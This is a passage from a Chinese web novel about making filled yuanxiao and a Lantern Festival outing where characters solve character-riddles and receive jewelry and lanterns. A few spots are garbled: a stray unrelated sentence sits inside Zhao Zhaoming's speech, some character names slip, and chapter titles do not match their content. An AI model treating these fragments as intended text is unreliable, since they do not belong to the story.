赵昭明正好看到这一幕，笑着道：“这也太吓人了。” 卜霜看到赵昭明，将锅盖盖上，让那元宵在锅里，没一会儿，那元宵就炸的金黄喷香。 卜霜将元宵捞出来，那炸好的元宵比原来的体积大了有一倍。 她夹起一个笑道：“快来尝一尝这炸元宵。” 赵昭明就过去尝了一个，惊叹的捂着嘴。 外皮酥酥脆脆，里面软糯香甜，非常的好吃。 卜霜将所有的元宵都做好之后，就给各家分开，每样都装了一些送过去。 然后特意又给何府送去一些，把每一样元宵都拿礼盒包好。 何喻昌那么喜欢新鲜吃食的人一定会喜欢这些他从来没有吃过的馅料的元宵。 小丫鬟上次说老妇人也很想念她的手艺，正好多送去一些。 剩下的他就让伙计都送去了卜记食铺。 晚上这些元宵一上桌之后，四个小崽子们都吃的特别香。 煮元宵的口感很有嚼劲，咬开后馅料浓郁，搭配煮汤的米香，别有一番风味。 黑芝麻馅元宵味道浓郁醇香，炒熟的黑芝麻磨碎后释放油脂香气，混合糖和猪油后，入口绵密微沙，口感细腻香浓。 花生馅元宵味道香甜酥脆，烘烤过的花生碎香气扑鼻，混合白糖和猪油后，甜味中带着坚果的油脂香。口感脆爽，油润不干噎。 豆沙馅元宵味道清甜绵软，红豆绿豆沙熬煮后带有豆类天然的香甜，加陈皮或玫瑰增香，口感细腻顺滑，入口即化，甜度适中不腻，适合搭配茶饮。 枣泥馅元宵味道酸甜浓郁，红枣去核蒸煮后制成泥，甜味中带着天然的果酸，口感软糯粘稠，枣香浓郁。 五仁馅元宵复合坚果香，核桃、瓜子、芝麻、花生等混合糖，口感丰富，甜中带咸，油脂香气饱满，口感类似五仁月饼，嚼劲十足，坚果越新鲜越香脆。 油炸元宵，外酥里糯，香甜可口，里面还会流心。 酒酿元宵热乎乎的，甜而不腻，酒香柔和，滋补暖胃。 拔丝元宵，外酥里糯，糖丝缠绕。 咸味肉汤圆鲜香饱满，南方特色，口感细腻，柔软，光滑，皮薄易煮透，皮薄馅大，一口爆浆。 鲜肉馅汤圆经典咸香，类似小笼包的内馅，猪肉的鲜味突出，带有葱姜和酱油的调味，肉馅紧实多汁，糯米皮包裹后，咬开会有微微汤汁。 荠菜鲜肉馅汤圆清新中带鲜甜，荠菜的野菜清香中和了肉的油腻，回味有自然甘甜，荠菜切碎后与肉混合，比纯肉馅更爽口。 香菇鸡肉馅汤圆浓郁菌香加鸡肉的鲜味，香菇让整体风味更醇厚，鸡肉馅比猪肉更细腻，香菇丁增加弹性，整体更轻盈。 蛋黄肉松馅汤圆，咸甜交织，咸蛋黄沙糯咸香，肉松酥甜，类似蛋黄酥的内馅，蛋黄颗粒和肉松的蓬松感形成对比，糯米皮包裹后层次丰富。 流心奶黄馅汤圆，浓郁奶香，咸蛋黄，黄油，奶粉的混合馅料，呈现流动的奶黄质地，入口绵密丝滑，咸甜交织，咸蛋黄的微咸与糖，奶香的甜味平衡，层次丰富，咬破软糯的糯米皮后，热乎乎的流心馅涌出，口感惊艳。 水晶紫薯馅汤圆，味道清甜，紫薯泥本身的甜味温和，混合炼乳后更顺滑，甜度较低不腻口，木薯粉做的水晶皮透明软韧，咬下去有嚼劲，搭配紫薯馅显得清爽，透亮的紫色内馅若隐若现，是最漂亮的一款汤圆。 今晚他们在家吃了夜宵之后，三家人就会约着一起，坐着牛车去镇上逛灯会看花灯。 吃过晚饭后不久，赵昭明和大壮，张婶和聂鸿轩就在卜家集合了。 这买了个牛车就是方便。 他们也不用和村里人一样，提前早早的走去镇上。 镇上每年元宵节都会有灯会，这一路上万路，万絮，万辽，万萱和大壮都高兴坏了，坐在牛车上兴奋的说个不停。 他们之前是没有机会出来看花灯的。 这次不但可以舒舒服服的坐着牛车去镇上看花灯，每个人手里还都有很多钱，可以随便买自己喜欢的东西。 卜霜今日一早就把他们打扮的漂漂亮亮的。 除去几个小孩子，卜霜他们这些大人也是很兴奋。 卜霜和赵昭明都很年轻，张婶也是个爱热闹的，对去镇上逛街看花灯都很积极。 他们一行人去了镇上之后，首先去了卜记食铺，把牛车放在那。 铺子开着门，门前已经围了一圈人，有的在买元宵，有的在看铺子门前挂着的花灯上写着的灯谜。 第109章 炸元宵 这元宵节的风俗除了看花灯就是猜灯谜。 除了一些活动的地方，镇上的店铺在今日也大多都会准备一些花灯挂在铺子门前，在铺子上添上各样的灯谜，众人去猜，铺子里一般也会准备彩头，如果有客人猜中了灯谜，就会获得彩头。 卜霜自然也不会错过，她提前就买了很多漂亮的花灯，让荔香在今晚都挂了出来，花灯下就是她做的各式的彩色元宵。 如今天气冷，元宵放到外面不用怕化，上面挂着的花灯和下面架子上摆着的彩色元宵相得益彰，吸引了不少游客。 至于那些灯谜，都是她让万路他们几个和聂鸿轩在中午的时候写的，又能让他们都参与到活动当中，又有趣。 哪个游客要是能猜对灯谜，就会得到卜记食铺精心准备的彩头。 万路他们几个下了车，看着那花灯贴着的灯谜，兴奋道：“快看快看，那张是我写的。” “那个最好看的花灯上面是我写的灯谜。” 卜霜，赵昭明，张婶看着那灯谜也觉得有趣。 “卜妹妹，你铺子里的彩头是什么啊？”赵昭明就问道。 “如果有猜中灯谜的游客，可以随意兑换铺子里的任何菜，也可以拿走对应灯谜的花灯。”卜霜就道。 “这样甚好。”赵昭明笑着点点头。 铺子里的彩头只是图一个开心，大家都不会送太贵重的东西。 卜霜的彩头已经很有诚意了。 卜记食铺的每样菜都很难抢，这上面挂着的花灯个个也都不便宜。 大家就顺着人流开始逛街，边去看花灯，边去猜彩灯，看到卖零嘴的再买一些，人手一袋子，边逛边吃。 因为游客们大多都没念过书，所以一路上的灯谜都没有很难。 “一头牛，两个角，不吃草，光喝水，打一农具。”万辽和大壮凑近看着一盏花灯上面贴着的灯谜，嘴里一边念叨着，皱着脸想着答案。 “哦，我知道了。”万能忽然兴奋叫道，“谜底是水桶。” 铺子前的老板笑眯眯的看着他：“这位小郎君，你为什么觉得谜底是水桶呢？” “因为水桶的提手像牛角，挑水时光喝水，老板，我猜的对不对？” 万辽很是自信的说道。 “恭喜这位小郎君，你真聪明，猜对了，谜底就是水桶。”老板笑着将那盏灯摘下递给万辽，“这是给你的彩头。” 万辽就高高兴兴的拿到了他们队伍里的第一个彩头。 大壮很是羡慕，赶快去看其他的灯谜。 其他人也不甘示弱，都去抢着猜其他的灯谜。 万辽猜到了第一个灯谜之后信心大涨，又继续念叨着。 “兄弟俩，一般高，一到吃饭就摔跤，打一餐具？” “哦，我猜出来了，这个谜底是筷子，因为人们用筷子打架夹菜。” 他又火速的猜到一个，彩头是一串糖葫芦。 周围的游客看到他不多时就猜对了两个灯谜，一时都注意到了他们这群人。 “青藤挂绿棚，小龙挂空中，风来摆一摆，吓得小孩哭，打一蔬菜。”万絮轻轻柔柔的念叨着，思考了一瞬，忽然想到了什么，笑了一会儿就道，“这个谜底是丝瓜，因为丝瓜藤蔓下垂如龙，嫩丝瓜被风一吹很容易吓到小孩。” 她知道这个谜底是因为她家的大棚菜地里就有种丝瓜。 丝瓜刚长出来的时候，万辽半夜上茅厕的时候就被吓到过，大喊一声，把所有人都喊醒来了。 万萱有一次也被吓哭过。 这个灯谜不就是她家真实发生过的事情吗。 她越想越觉得好笑，连掌柜的给她递彩头的时候都忍不住还在笑。 众人都好奇她到底想到了什么，这么好玩。 卜霜是知道的，就把事情和众人说了。 众人一听，也都和万絮捂着肚子笑了起来。 只有万辽脸色涨红，他蹬蹬的跑着去一边猜灯谜了。 “麻屋子，红帐子，里头住个白胖子，打一坚果”大壮想了一会儿，眼睛忽然一亮。 “谜底是花生，剥壳就能看到又白又胖的花生仁。” “这位小郎君也猜对了。”伙计把彩头给大壮。 “我出来前还吃了一把花生呢。”大壮笑着，别提有多开心了，“我猜到灯谜了，我猜到灯谜了。” “小时青青老来黄，碾成末子纸包藏，打一粮食。” 赵昭明站在一盏花灯下，眯着眼睛念叨，一拍手： “这不是稻谷吗，我可天天和它打交道可太熟了，刚种下去的时候是青苗，成熟了变黄穗，最后碾米。” “一只雀，飞上桌，捏尾巴，跳下河，打一行为。” 万路看的这个灯谜比较难一点，花灯也比其他的更漂亮，刚刚有好多游客猜这个灯谜，都没有拿下彩头。 万路想了好一会儿 ，这才道。 “谜底是泡茶，茶壶似雀，倒水时的动作像跳河。” “哎哟，公子您答对了，不经常喝茶的人是想不到这处的。”伙计惊叹道。 万路虽然不喝茶，但是他在私塾时先生总是喝，这才想起来。 “圆圆脸儿像铜盆，村里家家都有它，不装饭菜不装米，专装日头和月牙，打一建筑。” “谜底是水井，井口每日都映照日月，家家户户都有。”张婶拿到彩头之后，笑道，“这猜灯谜倒是有趣。” 赵昭明已经找到了乐趣所在，和大壮一样，乐此不疲的，去找类似的灯谜。 “春种一粒粟，秋收万颗子，猜不着它，饿死老头子，打一行为。” “这谜底是播种啊。” 不多时几乎已经每个人都猜出了一些灯谜，除了卜霜和聂鸿轩一直没动。 他们这一行人的猜灯谜，简直让周围的游客叹为观止。 卜霜是因为比较喜欢看他们猜彩灯的样子，所以没去猜，聂鸿轩却也没有进去猜。 他一直静静地站在卜霜的身边，眼中笑意明显，一会儿看看花灯，一会儿看看很是开心的她。 “你不进去也猜一个吗？”卜霜问他。 人来人往，花灯。 干嘛？聂鸿轩看着卜霜，半开玩笑的对她道： “太简单。” 第110章 酒酿元宵 卜霜知道他是在开玩笑，但是却觉得他说的是真的。 以聂鸿轩的学问来讲，这些灯谜对于他来说，都不值得让他去猜。 嗯。 但是都出来了，光看花灯不猜灯谜，那多没意思啊。 “你等着，什么时候我看到比较难的灯谜之后，再来叫你。”卜霜就道。 “你想让我去猜灯谜吗？”聂鸿轩问道。 卜霜觉得他这话有点奇怪，也没想清楚为什么奇怪，就点点头。 “好。”聂鸿轩笑起来。 他们这边聊着天，摊子前还在很热闹的猜着灯谜，一阵一阵的掌声从四周时不时的响起，每当万路她们猜对了灯谜，周边就一片叫好声。 “冬天肥，夏天瘦，又没骨头又没肉，打一自然物。”伙计道。 “谜底是冰凌。”万路很快就接上。 “东一片，西一片，隔着毛山看不见，打一部位。”有人又念道。 “谜底是耳朵，那毛山指的是头发。”赵昭明笑着对上，“这耳朵可不就是东面一个西面一个，互相之间见不到吗。” 众人就哈哈的大笑起来。 “三个秀才暗商量，一人说短两人长，打一节气。” 这个灯谜稍微有些难度，张婶却接道： “谜底是春分，用拆字法，春字可分三，人，日，日夜平分。” “大姐树上叫，二姐吓一跳，三姐拿刀砍，四姐点灯照，打四种虫。” “哎哟，这道灯谜可不简单。” “这是什么虫子？想不出来啊。” 众人抓耳挠腮的想着，一时之间没有人应答，就在这时万萱突然道。 “我知道，谜底是蝉，蚂蚱，螳螂和萤火虫。” “哎哟，这位小娘子，恭喜你答对了。” 小万萱昂首挺胸的从掌柜那里拿到了她今晚的第一个彩头。 “这些人可不得了啊，你看他们在那一会儿猜出多少灯谜。” “这小姑娘才多大呀，好聪明啊，这么刁钻的灯谜她都能猜出来，这一看就是一户好人家，说不定都是念过书的。” “你说的对，看看他们身上的穿着，再看看这小郎君小娘子们一个个都长的跟那画上的人一样，个个这么聪明，肯定不是普通人家。” 周围围观的游客看着他们忍不住赞叹道。 这摊子跟前就是一家大的首饰铺子，旁边的摊子和酒楼是一家，酒楼的掌柜眼看他们一行人，女人明媚美丽，男人优雅华贵，带着的小孩子个个也都气质不凡，机灵可爱，他们在那里猜灯谜，智计频出，接连解了好多灯谜，吸引了好多围观的游客，连带着摊子上放着的首饰都卖出去了好多。 眼看摊子上的灯谜已经被他们解了大半，他便有心留住这些人，再趁机为他的铺子宣传一波。 便大笑着上前向他们一拱手：“这几位客官，着实厉害，这摊子上的灯谜都快要被你们解完了，只是这摊子上这些灯谜只是随手写上去的，彩头也不过是一些寻常之物，不知道各位可有兴趣移步小店门前解灯谜呢，我这铺子门前花灯上贴着的灯谜都是秀才和举人老爷们留下的，到现在为止还没有几个人猜出来呢，当然我为这些灯谜准备的彩头也都是我这铺子里上好的东西。” 卜霜就看向他的铺子，这是一家镇子上有名的首饰铺子，不只卖金银，玉石之类的也都很多。 平日来这里光顾的也都是镇上的大户人家。 这里的掌柜既然说彩头是他铺子里上好的东西，那一定是很值钱的东西。 卜霜也想见识一下他铺子里的灯谜。 其他人显然也是这样想的。 “走，我们去看看。” 他们一走那些还没有看够的游客，也就跟着他们来到了首饰铺子前。 那掌柜的首饰铺子门前挂着的花灯果然比摊子上的要精美许多。 众人就开始看花灯上贴着的灯谜。 “春雨绵绵妻独宿，打一字。”赵昭明把那灯迷念出来，满头雾水。 这什么和什么啊。 这谜题的难度一下子和她刚刚解出来的差太多了吧。 本来一口气解了许多灯谜，手里拿满了彩头，有些跃跃欲试的万路他们看完这个灯谜后也沉默下来。 “不愧是有了功名的秀才和举人出的灯谜啊，难怪掌柜的肯把那铺子里的好东西拿来当彩头。” 游客们看了那花灯上写着灯谜之后，议论道。 “如果那么容易就能猜出来的话，为了这彩头，都不知道有多少人抢着过来猜呢。” “是啊，这也太难了，我根本就猜不出来，我看这一家人恐怕也猜不出来，我们去其他地方逛逛吧。”其他人也道。 “各位小郎君小娘子都是受邀过来猜的，就算最后没有猜出来，我也会给各位准备一份小礼品。”掌柜乐呵呵地宽慰着万路他们。 就在这时，聂鸿轩忽然向前走了一步。 “这谜底是一，掌柜的我说的对吗。” 原本就要走的游客听到这个声音又都停下了脚步。 那掌柜的十分惊讶，回神之后连忙走到那盏花灯下，将花灯上所贴的灯谜揭下来。 那灯谜后面还贴着一张纸条贴着谜底，上面果然写着一个大大的一字。 ““春”字“雨绵绵”即无“日”，“妻独宿”无“夫”，只剩“一”，所以灯谜是一。”聂鸿轩淡淡的给众人解释道。 这下四面立刻响起了一阵叫好声。 “公子解的好，在下佩服。”掌柜笑道，立刻让伙计从铺子里取出彩头，伙计端着盘子走了出来上面放着一个木盒。 聂鸿轩没有去接，而是走到了另一盏花灯的下面。 看那样子竟然是还想继续往下解灯谜。 “一人立，三人卧，打一字。”围观的游客有人大声念出他跟前那盏花灯的灯谜。 他刚念完，就听见聂鸿轩道： “这个的谜底是众，不过是简单的拆字法，一人立是“人”，三人卧是“人人人”，三个人就是众字。” 人群一片惊呼，随即响起佩服的叫好声和掌声。 伙计就又取出了这一个灯谜的彩头，这一次拿出来的盒子要比上一次的大一些，不过聂鸿轩还是没有去接，还是继续走在了下一个花灯下。 第111章 拔丝汤圆 看着他又走到了下一盏花灯下，人群都不愿意走了，都围在那里，想看看他到底能解出多少个灯谜来。 其他逛街的游客看到这家铺子前围了这么多人，也都好奇的走了上来。 掌柜的目的达到了，满脸笑意的看着聂鸿轩猜灯谜，他并不心疼那些彩头，他既然能把铺子做这么大，就是有胸量和眼界的，这些东西对于他来说不算什么，而且他颇爱文采，要不然也不会弄这么多文人墨客的灯谜贴在自家铺子门前了，见到个终于能解这些灯谜的人，他也很开心，好奇这个年轻人究竟能猜出几个。 “千里姻缘一线牵，打一字。”万路念出来。 聂鸿轩道： “谜底是重，“千里”为“里”，“一线”为“一”，合起来就是“重”。 伙计上前把那灯谜一揭开，果然是重字。 伙计一喊，盘子上的首饰盒又多了一个。 在众人的叫好声中，聂鸿轩又走到了下一盏花灯前。 “不得了，这聂哥儿平日里不声不响的，竟然这么有文采，你看他的样子，轻轻松松的就猜对了，这些灯谜嗯。之前的放在了被子上。自觉的让你亲吻的。嗯。好像对他一点难度也没有。”赵昭明走到卜霜旁边，悄声和她道。 卜霜倒是早就知道聂鸿轩的学问，但是看着他猜出了这么多灯谜，也是有些惊讶的。 接下来的灯谜一个就比一个难了。 “上不在上，下不在下，不可在上，且宜在下，打一字。” 这灯谜一说出来，众人就倒吸一口凉气。 也太难了。 这次聂鸿轩也稍微想了想，然后道： “谜底还是一。” 伙计过去一揭开灯谜，果然是一。 他是猜对了，但是谜底说出来，众人还是想不明白。 游客中有那胆子大的就大声问道：“为什么是一啊？” “这灯谜说来也简单，是用字形做了一场游戏，“一”在“上”字下部，又在“下”字上部。”聂鸿轩就道。 众人听了他的解释这才明白了。 不由得更加佩服起聂鸿轩，开始大声的夸赞。 “唐虞有，尧舜无，商周有，汤武无，打一字。” 人太多了，后面的人都看不到，伙计就把这个花灯的灯谜给大家大声念出来。 这次聂鸿轩想了想道：“谜底是口，还是用拆字法，“唐虞商周”四字均有“口”，“尧舜汤武”没有口。” 他这次解释的清清楚楚，众人听了直点头。 怎么他解释了就都明白了，但是自己猜的时候就猜不出来呢。 一声锣响，盘子上又多了一个彩头。 掌柜让伙计从铺子里取出了铜锣来，叶鸿轩每次猜中了一次灯谜，伙计就大声的敲一下那铜锣。 那敲锣声大的所有人都能听得到，又有氛围，又能让附近的游客都注意到这里。 “三山自三山，山山甘倒悬，一月复一月，月月还相连，打一字。”伙计大声念道。 这道灯谜可不简单，这是一道诗谜，也就是用一首诗做灯谜。 众人再次被这灯谜的难度惊到了。 聂鸿轩这次想了好一会儿，才抬起头，他眼睛闪着光，嘴角竟带着一丝笑意，声音带着笑意道： “我猜这谜底是用，拆解“用”字就知道它有一个倒悬的“山”和一个相连“月”，正如这灯谜所说，山山倒悬，月月相连。” 一声锣响，掌声四起。 万路他们兴奋的不得了。 万辽更是双手举在嘴边，大声喊：“先生，你好厉害啊。” 赵昭明已经从最初的震惊中回过了神，笑着和张婶夸道：“聂哥儿这次可是大出了风头，有这么聪明的孩子，你是什么感觉？” 张婶笑了笑，看着聂鸿轩光彩熠熠的样子，眼里有淡淡的忧伤。 卜霜知道聂鸿轩为什么这样开心，之前那些灯谜对于他来说都太简单了，他终于从这个灯谜开始找到了乐趣。 也就是说，遇到越难的灯谜，他很享受。 聂鸿轩的野心终于在字之间，诗之间，笔墨书页之间展现出来。 那在赵昭明嘴里不声不响的人，在遇到让他热爱的领域里，同样像常人一样，散放出了让人移不开眼的强烈。 "三人同日去观花，百友原来共一家，禾火二人同饮酒，夕阳桥下双木斜，打四字。”伙计向众人大声的念着下一盏花灯的灯谜。 这同样是一首诗谜。 从最开始的跟着一起猜，到目前为止，大半的游客已经放弃了去猜那灯谜，只是眼睛一眨不眨的盯着聂鸿轩，等着他猜出来，然后给众人解释。 聂鸿轩沉吟了一会儿，笑起来： “谜底是春夏秋冬，这要拆字诗谜，"春"这个字拆开，里面就有第一句诗的三，人，日，"夏"字拆开就有第二句诗的百和友，"秋"字拆开是第三句诗里的禾，火，冬字拆开有最后一句诗里的夕，双，木。” 一声锣响，伙计的向他拱了拱手：“恭喜公子，又猜对了。” “上无半片之瓦，下无立锥之地，腰间挂个葫芦，晓得阴阳之理，打一字。”伙计又大声念着下一站花灯的灯谜。 “谜底是卜，无瓦无地指无"穴"无"土"，葫芦"象形"卜"字上部，占卜通阴阳。” "虽有十张口，只有一颗心，要想猜得中，须用计谋深，打一字。”伙计大声念到。 聂鸿轩道：“谜底是思，十加口是一个田字，一心"为"心"，合起来就是"思"字。” “一点一横长，一撇到南洋，南洋两棵树，长在石头上，打一字。”伙计念到。 “谜底是磨，一点一横"为"广"，"一撇到南洋"指"广"下加"林"，"石头"为"石"，合为"磨"。” "昨日不可留，今日不可存，明日不可待，打一字。” “谜底为晶。”聂鸿轩道，“昨日"去"乍"剩"日"，今日"去"今"剩"日"，"明日"去"月"剩"日"，三"日"成"晶"。” “左看三十一，右看一十三，合起来是多少？打一字” 第112章 流心奶黄汤圆 “谜底是非。”聂鸿轩道。 “三十一"竖排为"非"左，一十三"竖排为"非"右，合为"非"字。” 一转眼，聂鸿轩已经将铺子所挂的花灯上的灯谜猜到了最后一个，最后这道灯谜，是掌柜亲口念出来的。 “百万军中卷白旗，天边豪富少人知，秦王斩了余元帅，辱骂将军失马骑，打四字。” 聂鸿轩道：“谜底是一、二、三、四。” “第一句诗中说，卷白，那"百"去"白"剩"一"，第二句诗中说少人，那么"天"去"人"剩"二"，第三句诗中说斩了余，"秦"去"余"剩"三"，最后一句诗中说失马，"骂"去"马"剩"四"。” 到现在为止，他竟然将铺子上所挂的所有花灯的灯谜，全部都猜了出来。 那盘子上所放的彩头，已经叠成了一座小山。 掌声雷动。 所有人都不得不佩服他。 谁能想到这么一个无名之辈，竟然将镇上和县城里所有出名的秀才举人出的灯谜全部都猜出来了呢。 万路，万絮，万辽，万萱和大壮他们五个已经迫不及待的跑过去，激动的抱住了聂鸿轩。 “聂先生，你太厉害了。” 聂鸿轩这才好像回了神，想要推开他们，谁知道这几个小家伙手脚并用，牢牢的挂在了他身上，他一下都动不了。 卜霜，赵昭明，张婶看着这一幕就直笑。 周围围观的游客还在对刚刚聂鸿轩一人猜对所有灯谜的事情，到了明日，这件事恐怕就会成为所有读书人嘴里的传奇。 他们边感叹着就近，就进了这家首饰铺子里。 这家首饰铺子的名字会跟着聂鸿轩今晚的传奇故事，一起在人们口中流传。 这家首饰铺子的掌柜的确是一个很有见识也很会营销的人。 卜霜心道。 正想着首饰铺子的掌柜就满脸笑意的过来了，他身边的伙计端着一盘子彩头跟着他：“公子，这都是你今晚得到的彩头，里面的每一样首饰都是我们铺子里的精品，最后那道灯谜的彩头是我们铺子里最上等，也是最贵的首饰，你看看。” 聂鸿轩将那盘子接过来，将掌柜说的那样最贵重的彩头取出来。 看盒子的样式里面装的好像是簪子。 打开一看，果然里面放着一只精美的白玉簪。 这只簪子的簪首部分是用整块的羊脂白玉精心雕琢而成，色泽洁白如新雪初霁，触手生温，簪身则巧妙地采用了南洋沉香木作为支撑，其上缠绕着精细的丝银鎏金柳枝纹饰，工艺精湛，栩栩如生。 在簪子的枝梢部分，悬挂着三枚小巧玲珑的错金铃铛，当佩戴者行走时，行步时声若清露坠潭。 “哇，好漂亮的簪子。” 万絮捂着嘴惊呼道。 那只簪子一出现就吸引了众人的目光。 无人不在感叹那精湛的工艺。 “此簪为江南顾氏工坊所制，柳枝缠银，公子可以将它赠给心爱之人。” 趁着众人去端详那只白玉簪，掌柜的在聂鸿轩耳边轻声道。 聂鸿轩收好了那只白玉簪，把盘子里剩下所有首饰，全部给了张婶。 “娘，这些给你们随便选着用吧。” 张婶笑着接过来，赵昭明和万絮她们大叫一声，都兴奋地围了过来，去选那盒子里的首饰。 卜霜啧啧感叹。 这些盒子里装的首饰个个可都是价值不菲的，就是不去换钱，里面也有一些男人也能用的配饰。 聂鸿轩竟然看都不看，就这么全部给了她们了。 有钱人真是可恨。 从首饰铺子走开之后，他们一行人继续逛街，看那各样的花灯，走走停停，买买东西，很是开心。 她们走到了镇上最繁华的地方，街道两侧灯火辉煌，摊子上几乎什么平时见不到的新鲜的玩意都有，游客更是多。 万辽他们几个小孩笑着去买肉干，赵昭明则是和张婶围着卜霜讨论着她们选的那些首饰要配着什么衣服戴。 人群涌动中，卜霜忽然看到一个熟悉的身影。 锦衣貂裘的少年公子被一众家丁小厮拥簇着走在人群里。 他手里提着一盏花灯，边走路边抬起花灯去看里面的图案，笑起来格外的引人注目。 他嘴角上挑，眼睛看着花心多情，一张脸白里透红，看着又有点可爱，又有点随性。 与他的随性不同，护卫在他身边的那些小厮家丁，表情都很紧张，对这汹涌的人群如临大敌。 何喻昌看着看着花灯随意向远处扫了一眼，忽然就锁定了远处挤在人群里的卜霜，他眼睛暮地一亮，嘴角的笑意变得更加浓了，他也不管什么身份不身份，形象不形象的，就直接在人群中踮起脚尖，兴奋的向卜霜招手。 他一只手拢在嘴边，卜霜听不清他在喊什么，但是通过嘴型也能知道他在喊她的名字。 如果说这个世界是一幅巨大的水墨画，那何喻昌就是一点动个不停的鲜活颜料，他走在哪被他碰过的人就会随之被点亮。 游客在他们身边熙熙攘攘，华灯四照，两个人遥遥的望着彼此，卜霜看着他。 她也忍不住笑了。 何喻昌喊了两声，然后就不管不顾的向她的方向挤过来，他身边的小厮家丁一个劲儿的去拦他，竟然都被他伸手矫健的躲了过去。 何喻昌跑到卜霜跟前时，微微喘着气，眼睛亮的很：“我出门前就想着会不会在哪里遇到你，没想到真看到你了。” “你们一起出来玩吗，有没有猜灯谜啊？”何喻昌就把它那盏一直拿在手里的花灯提到卜霜面前晃着。 卜霜笑着扒拉开他的花灯：“万路他们手里拿的都是今晚猜灯谜的彩头。” 赵昭明和张婶看到突然出现的何喻昌愣了一下。 她们俩奇怪的看了看彼此，都不知道他是从哪里突然冒出来的。 身后追他没追上的小厮和家丁们，这才都跑了上来，一个个累的气喘如牛，满头大汗，一过来就一个个叉着腰怨声载道。 “公子，我的公子啊，今晚这么多人，你悠着点啊，你要是被踩着挤着，我们回去可怎么跟老夫人交代啊？。” 第113章 水晶紫薯馅汤圆 “看看我手里这盏花灯，这是我刚刚赢的彩头。” 何喻昌完全不去理会他们，只把手里的那盏花灯提得更高一些给卜霜看。 他拿的那盏六角形的宫灯，大概有三尺高，它的骨架是用湘妃竹做的，竹子的节头包着金色的铜箍，灯面上贴的是南方的冰蚕丝纱，薄如蝉翼，透如琉璃。 灯纱上以工笔重彩绘着九重春色——近处牡丹吐蕊，远处青山含黛，中间云霞浮动。 灯里面挂着一个水晶做的莲花形状的灯盏，点燃后火焰是青白色的，没有烟尘。火光透过丝纱，把画上的春天景色照得活灵活现。更神奇的是，灯底有个小机关，轻轻一拨，灯面就会慢慢转动，牡丹渐变成芍药，青山化作碧水，仿佛四季在方寸间流转。 灯的每个角上都挂着一支银铃，铃下面挂着细得像头发丝一样的金线，金线上串着十二颗珍珠。晚上有风吹过，铃声清脆，珍珠互相碰撞，就像弹奏瑶琴时发出的声音。灯顶上站着一只镀金的铜凤凰，凤凰嘴里叼着一串琉璃做的装饰品，风吹的时候，会在灯纱上投下细小的光点，就像银河倾泻下来一样。 的确是十分好看。 卜霜今晚还没有见过做工这么好看的花灯，就目不转睛的拿手指拨着那花灯：“你竟然也会去猜灯谜，我还以为你喜欢什么就直接买的呢。” 她倒是够了解他，因为何喻昌下一秒就开始抱怨。 “别提了，这盏灯有钱都买不动了，我路过这里的酒楼，就看到他们门口挂着这盏很好看的花灯，我就想着你看到这盏花灯一定也喜欢，但是你猜怎么着？我出多少价那家酒楼都不卖，说这是他们酒楼猜出灯谜的彩头，不能卖，然后小爷我就只能一路的猜猜猜，把他们酒楼的所有灯谜都猜完了才赢下了这盏花灯。” 何喻昌说完，就把花灯往卜霜身前一推，笑着：“呐，给你了。” 卜霜抱着那花灯眨了眨眼。 他费了那么大的劲儿才得到这花灯，就这么把这花灯送给她了？ 这时忽然有一个气喘吁吁的，跑都跑不动的小姑娘从人群里挤到了他们这儿。 正好在卜霜身边，卜霜就扶了她一把。 “卜掌柜。”那小姑娘忽然叫了她一声。 卜霜再一看，这不是上次跟着何喻昌一起的那个小丫鬟吗？ 原来这小丫鬟和那些小厮家丁一样，都是跟着何喻昌一起出来的。 小丫鬟个子矮，出来就被人潮给淹没了，卜霜就没有看到她。 刚刚何喻昌跑过来，众人都去追，但是她又被人潮给推着怎么也过不来，所以才慢了那些小厮家丁一会儿，这会儿才过来。 小丫鬟性格活泼，过来正好听到了自家小公子说的话，就对众人道。 “这花灯是猜出了酒楼里全部的灯谜才得到的，但是哪里是公子自己猜的灯谜啊，公子当时猜了一会儿猜不出来，他当时就进去搬了人家酒楼的一把长板凳，就往空地当中一坐，也不让其他人过来猜，还让我们和他一起猜灯谜，说猜不出来明日不给吃饭，最后那些灯谜里十道灯谜里有八道都是我们猜出来的。” 何喻昌急忙就去捂她的嘴，咬牙切齿道，“少说点话吧你。” 小丫鬟被捂着嘴就只能呜呜着。 何喻昌被自家小丫鬟把老底都揭穿了，结结巴巴的解释道：“那些灯谜怎么能难到我呢，不是我猜不出来啊，只能那些灯谜都是什么农具啊，粮食之类的，小爷见都没见过，这怎么猜啊，他要是放一些诗什么的我肯定一下子都能猜出来？再说了，那十道里面的两道不，不也是我猜出来的呢。” 众人就看着他笑。 那些灯谜都是给普通人猜的，所以写的都是他们日常生活中接触的东西，他是何府的小公子，让他去猜这些的确是为难他了。 万辽他们买了肉干回来，看到何喻昌后都很惊喜。 他们把买回来的肉干，还有各种零食都分给他吃。 何喻昌看这样子是要和卜霜他们同行了。 那些家丁和小厮虽然都没说什么，但是看神情明显感觉到他们都放松了不少。 只是这么些小厮和家丁环绕，想不引人注目都难，于是之后看花灯何喻昌就从自己一个人张扬，变成了带着卜霜他们一起张扬。 万辽万萱大壮他们这些小孩都很喜欢跟着何喻昌，而何喻昌呢一路上跟几个小孩子也能聊得热火朝天的，聊到最后，只要他让万辽他们去做什么，几个小孩子都会乐颠颠的去做。 赵昭明看在眼里，就故意落在后面，偷笑着张婶耳语道：“我看着万辽他们几个都还挺喜欢何公子的，何公子看起来也很喜欢小孩的样子，这要是以后他们相处起来，一定合得来。 张婶就笑着：“我看着何公子自己就是个小孩。” 众人走到何喻昌说的那家酒楼外面，里面的掌柜远远一看到门外的何喻昌，立刻冲出来笑着热情招待他们进去吃饭。 何喻昌就问卜霜要不要进去。 大家伙都逛了半天，正好也都累了，而且卜霜想一想，她到目前为止，还没有带着孩子们正儿八经的再酒楼吃过饭呢。 于是众人就进了酒楼。准备填一填肚子。 因为何喻昌的身份，掌柜的直接带她们去了二楼寻了一处最好的地方坐下。 他们坐的这个地方极好，靠近窗户，从窗户就直接能看到街道上的花灯夺目的夜景。 而且镇上过一会儿还要放烟花，他们坐在这个地方就能将所有的景色尽收眼底。 卜霜就让每人都点自己想吃的，最后他们点了几样菜和点心。 等到这些菜都上来的时候，镇上正好开始放烟花了。 远远的一束烟花冲天而起，然后就在夜色中炸开，五颜六色的线条在天上显现出来，随后更多的烟花一束束的都飞上天，这一刻灿若繁星。 万路他们几个孩子，从座位上跳起来，围着窗边又跳又叫的看着烟花。 第114章 彩色元宵 万路他们几个孩子，立刻从座位上跳起来，围着窗边看着空中欢喜的又跳又叫。 万路虽然平时很稳重，此时也能看出来很激动。 街上本来蜂拥的人群也都停下了脚步，都望着天空。 此刻整个世界都安静了下来，只剩下烟花在空中绽放的声音。 